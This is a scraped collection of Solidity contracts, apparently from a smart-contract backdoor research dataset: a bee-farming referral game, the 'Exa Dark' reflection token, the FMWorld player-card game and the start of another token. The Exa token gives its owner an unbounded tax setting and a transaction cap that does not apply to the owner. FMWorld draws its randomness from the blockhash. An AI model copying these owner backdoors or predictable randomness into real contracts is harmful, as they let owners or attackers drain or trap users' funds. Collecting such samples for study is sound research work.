emit BeeUnlocked(msg.sender, bee);
}
function buyBees(uint256 bee, uint256 count) public payable payRepBonusIfNeeded {
Player storage player = players[msg.sender];
if (msg.value > 0) {
deposit(address(0));
}
collect();
require(bee > 0 && bee < BEES_COUNT, "Don't try to buy bees of type 0");
if (bee == SUPER_BEE_INDEX) {
require(superBeeUnlocked(), "SuperBee is not unlocked yet");
require(block.timestamp.sub(player.registeredDate) < SUPER_BEE_BUYER_PERIOD, "You should be registered less than 7 days ago");
} else {
require(bee <= player.unlockedBee, "This bee type not unlocked yet");
}
require(player.bees[bee].add(count) <= MAX_BEES_PER_TARIFF);
player.bees[bee] = player.bees[bee].add(count);
totalBeesBought = totalBeesBought.add(count);
uint256 honeySpent = _payWithWaxAndHoney(msg.sender, BEES_PRICES[bee].mul(count));
_distributeFees(msg.sender, honeySpent, 0, referrerOf(msg.sender, address(0)));
emit BeesBought(msg.sender, bee, count);
}
function updateQualityLevel() public payRepBonusIfNeeded {
Player storage player = players[msg.sender];
collect();
require(player.qualityLevel < QUALITIES_COUNT - 1);
_payWithHoneyOnly(msg.sender, QUALITY_PRICE[player.qualityLevel + 1]);
player.qualityLevel++;
emit QualityUpdated(msg.sender, player.qualityLevel);
}
function earned(address user) public view returns(uint256) {
Player storage player = players[user];
if (player.registeredDate == 0) {
return 0;
}
uint256 total = 0;
for (uint i = 1; i < BEES_COUNT; i++) {
total = total.add(player.bees[i].mul(BEES_PRICES[i]).mul(BEES_MONTHLY_PERCENTS[i]).div(100));
}
return total
.mul(block.timestamp.sub(player.lastTimeCollected))
.div(30 days)
.add(player.airdropCollected || player.registeredDate == block.timestamp ? 0 : FIRST_BEE_AIRDROP_AMOUNT);
}
function collectMedals(address user) public payRepBonusIfNeeded {
Player storage player = players[user];
collect();
for (uint i = player.medals; i < MEDALS_COUNT; i++) {
if (player.points >= MEDALS_POINTS[i]) {
player.balanceWax = player.balanceWax.add(MEDALS_REWARDS[i]);
player.medals = i + 1;
emit MedalAwarded(user, i + 1);
}
}
}
function retrieveBonus() public override(UserBonus) {
totalWithdrawed = totalWithdrawed.add(userBonusEarned(msg.sender));
super.retrieveBonus();
}
function claimOwnership() public override(Claimable) {
super.claimOwnership();
_register(owner(), address(0));
}
function _distributeFees(address user, uint256 wax, uint256 deposited, address refAddress) internal {
address(uint160(owner())).transfer(wax * ADMIN_PERCENT / 100 / COINS_PER_BNB);
if (refAddress != address(0)) {
Player storage referrer = players[refAddress];
referrer.referralsTotalDeposited = referrer.referralsTotalDeposited.add(deposited);
_addToBonusIfNeeded(refAddress);
address to = refAddress;
for (uint i = 0; to != address(0) && i < REFERRAL_PERCENT_PER_LEVEL.length; i++) {
uint256 reward = wax.mul(REFERRAL_PERCENT_PER_LEVEL[i]).div(100);
players[to].balanceHoney = players[to].balanceHoney.add(reward);
players[to].points = players[to].points.add(wax.mul(REFERRAL_POINT_PERCENT[i]).div(100));
emit ReferrerPaid(user, to, i + 1, reward);
to = players[to].referrer;
}
}
}
function _register(address user, address refAddress) internal {
Player storage player = players[user];
player.registeredDate = block.timestamp;
player.bees[0] = MAX_BEES_PER_TARIFF;
player.unlockedBee = 1;
player.lastTimeCollected = block.timestamp;
totalBeesBought = totalBeesBought.add(MAX_BEES_PER_TARIFF);
totalPlayers++;
if (refAddress != address(0)) {
player.referrer = refAddress;
players[refAddress].referrals.push(user);
if (players[refAddress].referrer != address(0)) {
players[players[refAddress].referrer].subreferralsCount++;
}
_addToBonusIfNeeded(refAddress);
}
emit Registered(user, refAddress);
}
function _payWithHoneyOnly(address user, uint256 amount) internal {
Player storage player = players[user];
player.balanceHoney = player.balanceHoney.sub(amount);
}
function _payWithWaxOnly(address user, uint256 amount) internal {
Player storage player = players[user];
player.balanceWax = player.balanceWax.sub(amount);
}
function _payWithWaxAndHoney(address user, uint256 amount) internal returns(uint256) {
Player storage player = players[user];
uint256 wax = Math.min(amount, player.balanceWax);
uint256 honey = amount.sub(wax).mul(100 - HONEY_DISCOUNT_PERCENT).div(100);
player.balanceWax = player.balanceWax.sub(wax);
_payWithHoneyOnly(user, honey);
return honey;
}
function _addToBonusIfNeeded(address user) internal {
if (user != address(0) && !bonus.userRegistered[user]) {
Player storage player = players[user];
if (player.totalDeposited >= 5 ether &&
player.referrals.length >= 10 &&
player.referralsTotalDeposited >= 50 ether)
{
_addUserToBonus(user);
}
}
}
function turn() external {
}
function turnAmount() external payable {
msg.sender.transfer(msg.value);
}
}
| 255,200 | 11,170 |
81f96c894e3d3af980f79b4749ed5afdc595f4a755e971d9f13637191e3d104f
| 20,725 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/c3/c3aef16273Da54783f9854ACeB336bcA73FDBBD8_Exa.sol
| 5,183 | 18,686 |
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Exa is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isAllowed;
address[] private _excluded;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 10000 ether;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'Exa Dark';
string private constant _symbol = 'EXADARK';
uint256 private _taxFee = 500;
uint256 private _burnFee = 0;
uint public max_tx_size = 10000 ether;
bool public isPaused = false;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
isAllowed[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function toggleAllowed(address addr) external onlyOwner {
isAllowed[addr] = !isAllowed[addr];
}
function unpause() external returns (bool){
require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call");
isPaused = false;
return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0xB35309fE2be02BC08bcF162543E6b62808c3F50c, 'We can not exclude router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused");
if(sender != owner() && recipient != owner())
require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxAmount(uint newMax) external onlyOwner {
max_tx_size = newMax;
}
}
| 322,924 | 11,171 |
0a4168f7df82f5425d21de38841cac3970352f248b506788c39f8b4b15040065
| 13,486 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x65f3f1a2e66323a17d7f177db86bb326071e87f9.sol
| 3,567 | 13,014 |
pragma solidity ^0.4.16;
contract PlayerToken {
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint balance);
function ownerOf(uint256 _tokenId) public view returns (address owner);
function approve(address _to, uint256 _tokenId) external;
function transfer(address _to, uint256 _tokenId) external;
function tokensOfOwner(address _owner) public view returns (uint256[] ownerTokens);
function createPlayer(uint32[7] _skills, uint256 _position, address _owner) public returns (uint256);
function getPlayer(uint256 playerId) public view returns(uint32 talent, uint32 tactics, uint32 dribbling, uint32 kick,
uint32 speed, uint32 pass, uint32 selection);
function getPosition(uint256 _playerId) public view returns(uint256);
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
}
contract CatalogPlayers {
function getBoxPrice(uint256 _league, uint256 _position) public view returns (uint256);
function getLengthClassPlayers(uint256 _league, uint256 _position) public view returns (uint256);
function getClassPlayers(uint256 _league, uint256 _position, uint256 _index) public view returns(uint32[7] skills);
function incrementCountSales(uint256 _league, uint256 _position) public;
function getCountSales(uint256 _league, uint256 _position) public view returns(uint256);
}
contract Team {
uint256 public countPlayersInPosition;
uint256[] public teamsIds;
function createTeam(string _name, string _logo, uint256 _minSkills, uint256 _minTalent, address _owner, uint256 _playerId) public returns(uint256 _teamId);
function getPlayerTeam(uint256 _playerId) public view returns(uint256);
function getOwnerTeam(address _owner) public view returns(uint256);
function getCountPlayersOfOwner(uint256 _teamId, address _owner) public view returns(uint256 count);
function getCountPosition(uint256 _teamId, uint256 _position) public view returns(uint256);
function joinTeam(uint256 _teamId, address _owner, uint256 _playerId, uint256 _position) public;
function isTeam(uint256 _teamId) public view returns(bool);
function leaveTeam(uint256 _teamId, address _owner, uint256 _playerId, uint256 _position) public;
function getTeamPlayers(uint256 _teamId) public view returns(uint256[]);
function getCountPlayersOfTeam(uint256 _teamId) public view returns(uint256);
function getPlayerIdOfIndex(uint256 _teamId, uint256 index) public view returns (uint256);
function getCountTeams() public view returns(uint256);
function getTeamSumSkills(uint256 _teamId) public view returns(uint256 sumSkills);
function getMinSkills(uint256 _teamId) public view returns(uint256);
function getMinTalent(uint256 _teamId) public view returns(uint256);
}
contract FMWorldAccessControl {
address public ceoAddress;
address public cooAddress;
bool public pause = false;
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
modifier onlyC() {
require(msg.sender == cooAddress ||
msg.sender == ceoAddress);
_;
}
modifier notPause() {
require(!pause);
_;
}
function setCEO(address _newCEO) external onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
function setCOO(address _newCOO) external onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
function setPause(bool _pause) external onlyC {
pause = _pause;
}
}
contract FMWorld is FMWorldAccessControl {
address public playerTokenAddress;
address public catalogPlayersAddress;
address public teamAddress;
address private lastPlayerOwner = address(0x0);
uint256 public balanceForReward;
uint256 public deposits;
uint256 public countPartnerPlayers;
mapping (uint256 => uint256) public balancesTeams;
mapping (address => uint256) public balancesInternal;
bool public calculatedReward = true;
uint256 public lastCalculationRewardTime;
modifier isCalculatedReward() {
require(calculatedReward);
_;
}
function setPlayerTokenAddress(address _playerTokenAddress) public onlyCEO {
playerTokenAddress = _playerTokenAddress;
}
function setCatalogPlayersAddress(address _catalogPlayersAddress) public onlyCEO {
catalogPlayersAddress = _catalogPlayersAddress;
}
function setTeamAddress(address _teamAddress) public onlyCEO {
teamAddress = _teamAddress;
}
function FMWorld(address _catalogPlayersAddress, address _playerTokenAddress, address _teamAddress) public {
catalogPlayersAddress = _catalogPlayersAddress;
playerTokenAddress = _playerTokenAddress;
teamAddress = _teamAddress;
ceoAddress = msg.sender;
cooAddress = msg.sender;
lastCalculationRewardTime = now;
}
function openBoxPlayer(uint256 _league, uint256 _position) external notPause isCalculatedReward payable returns (uint256 _price) {
if (now > 1525024800) revert();
PlayerToken playerToken = PlayerToken(playerTokenAddress);
CatalogPlayers catalogPlayers = CatalogPlayers(catalogPlayersAddress);
_price = catalogPlayers.getBoxPrice(_league, _position);
balancesInternal[msg.sender] += msg.value;
if (balancesInternal[msg.sender] < _price) {
revert();
}
balancesInternal[msg.sender] = balancesInternal[msg.sender] - _price;
uint256 _classPlayerId = _getRandom(catalogPlayers.getLengthClassPlayers(_league, _position), lastPlayerOwner);
uint32[7] memory skills = catalogPlayers.getClassPlayers(_league, _position, _classPlayerId);
playerToken.createPlayer(skills, _position, msg.sender);
lastPlayerOwner = msg.sender;
balanceForReward += msg.value / 2;
deposits += msg.value / 2;
catalogPlayers.incrementCountSales(_league, _position);
if (now - lastCalculationRewardTime > 24 * 60 * 60 && balanceForReward > 10 ether) {
calculatedReward = false;
}
}
function _getRandom(uint256 max, address addAddress) view internal returns(uint256) {
return (uint256(block.blockhash(block.number-1)) + uint256(addAddress)) % max;
}
function _requireTalentSkills(uint256 _playerId, PlayerToken playerToken, uint256 _minTalent, uint256 _minSkills) internal view returns(bool) {
var (_talent, _tactics, _dribbling, _kick, _speed, _pass, _selection) = playerToken.getPlayer(_playerId);
if ((_talent < _minTalent) || (_tactics + _dribbling + _kick + _speed + _pass + _selection < _minSkills)) return false;
return true;
}
function createTeam(string _name, string _logo, uint32 _minTalent, uint32 _minSkills, uint256 _playerId) external notPause isCalculatedReward
{
PlayerToken playerToken = PlayerToken(playerTokenAddress);
Team team = Team(teamAddress);
require(playerToken.ownerOf(_playerId) == msg.sender);
require(team.getPlayerTeam(_playerId) == 0);
require(team.getOwnerTeam(msg.sender) == 0);
require(_requireTalentSkills(_playerId, playerToken, _minTalent, _minSkills));
team.createTeam(_name, _logo, _minTalent, _minSkills, msg.sender, _playerId);
}
function joinTeam(uint256 _playerId, uint256 _teamId) external notPause isCalculatedReward
{
PlayerToken playerToken = PlayerToken(playerTokenAddress);
Team team = Team(teamAddress);
require(playerToken.ownerOf(_playerId) == msg.sender);
require(team.isTeam(_teamId));
require(team.getPlayerTeam(_playerId) == 0);
require(team.getOwnerTeam(msg.sender) == 0 || team.getOwnerTeam(msg.sender) == _teamId);
uint256 _position = playerToken.getPosition(_playerId);
require(team.getCountPosition(_teamId, _position) < team.countPlayersInPosition());
require(_requireTalentSkills(_playerId, playerToken, team.getMinTalent(_teamId), team.getMinSkills(_teamId)));
_calcTeamBalance(_teamId, team, playerToken);
team.joinTeam(_teamId, msg.sender, _playerId, _position);
}
function leaveTeam(uint256 _playerId, uint256 _teamId) external notPause isCalculatedReward
{
PlayerToken playerToken = PlayerToken(playerTokenAddress);
Team team = Team(teamAddress);
require(playerToken.ownerOf(_playerId) == msg.sender);
require(team.getPlayerTeam(_playerId) == _teamId);
_calcTeamBalance(_teamId, team, playerToken);
uint256 _position = playerToken.getPosition(_playerId);
team.leaveTeam(_teamId, msg.sender, _playerId, _position);
}
function withdraw(address _sendTo, uint _amount) external onlyCEO returns(bool) {
if (_amount > deposits) {
return false;
}
deposits -= _amount;
_sendTo.transfer(_amount);
return true;
}
function _calcTeamBalance(uint256 _teamId, Team team, PlayerToken playerToken) internal returns(bool){
if (balancesTeams[_teamId] == 0) {
return false;
}
uint256 _countPlayers = team.getCountPlayersOfTeam(_teamId);
for(uint256 i = 0; i < _countPlayers; i++) {
uint256 _playerId = team.getPlayerIdOfIndex(_teamId, i);
address _owner = playerToken.ownerOf(_playerId);
balancesInternal[_owner] += balancesTeams[_teamId] / _countPlayers;
}
balancesTeams[_teamId] = 0;
return true;
}
function withdrawEther() external returns(bool) {
Team team = Team(teamAddress);
uint256 _teamId = team.getOwnerTeam(msg.sender);
if (balancesTeams[_teamId] > 0) {
PlayerToken playerToken = PlayerToken(playerTokenAddress);
_calcTeamBalance(_teamId, team, playerToken);
}
if (balancesInternal[msg.sender] == 0) {
return false;
}
msg.sender.transfer(balancesInternal[msg.sender]);
balancesInternal[msg.sender] = 0;
}
function createPartnerPlayer(uint256 _league, uint256 _position, uint256 _classPlayerId, address _toAddress) external notPause isCalculatedReward onlyC {
if (countPartnerPlayers >= 300) revert();
PlayerToken playerToken = PlayerToken(playerTokenAddress);
CatalogPlayers catalogPlayers = CatalogPlayers(catalogPlayersAddress);
uint32[7] memory skills = catalogPlayers.getClassPlayers(_league, _position, _classPlayerId);
playerToken.createPlayer(skills, _position, _toAddress);
countPartnerPlayers++;
}
function calculationTeamsRewards(uint256[] orderTeamsIds) public onlyC {
Team team = Team(teamAddress);
if (team.getCountTeams() < 50) {
lastCalculationRewardTime = now;
calculatedReward = true;
return;
}
if (orderTeamsIds.length != team.getCountTeams()) {
revert();
}
for(uint256 teamIndex = 0; teamIndex < orderTeamsIds.length - 1; teamIndex++) {
if (team.getTeamSumSkills(orderTeamsIds[teamIndex]) < team.getTeamSumSkills(orderTeamsIds[teamIndex + 1])) {
revert();
}
}
uint256 k;
for(uint256 i = 1; i < 51; i++) {
if (i == 1) { k = 2000; }
else if (i == 2) { k = 1400; }
else if (i == 3) { k = 1000; }
else if (i == 4) { k = 600; }
else if (i == 5) { k = 500; }
else if (i == 6) { k = 400; }
else if (i == 7) { k = 300; }
else if (i >= 8 && i <= 12) { k = 200; }
else if (i >= 13 && i <= 30) { k = 100; }
else if (i >= 31) { k = 50; }
balancesTeams[orderTeamsIds[i - 1]] = balanceForReward * k / 10000;
}
balanceForReward = 0;
lastCalculationRewardTime = now;
calculatedReward = true;
}
function getSumWithdrawals() public view returns(uint256 sum) {
for(uint256 i = 0; i < 51; i++) {
sum += balancesTeams[i + 1];
}
}
function getBalance() public view returns (uint256 balance) {
uint256 balanceTeam = getBalanceTeam(msg.sender);
return balanceTeam + balancesInternal[msg.sender];
}
function getBalanceTeam(address _owner) public view returns(uint256 balanceTeam) {
Team team = Team(teamAddress);
uint256 _teamId = team.getOwnerTeam(_owner);
if (_teamId == 0) {
return 0;
}
uint256 _countPlayersOwner = team.getCountPlayersOfOwner(_teamId, _owner);
uint256 _countPlayers = team.getCountPlayersOfTeam(_teamId);
balanceTeam = balancesTeams[_teamId] / _countPlayers * _countPlayersOwner;
}
}
| 146,490 | 11,172 |
79063a3b017c868982aa4990debbc692fd0b877f3e34099416755e299de94ab8
| 19,431 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/76/766205889884ca2bf9bcf980e5928572eefd23b3_BOOGEYINU.sol
| 5,101 | 18,171 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
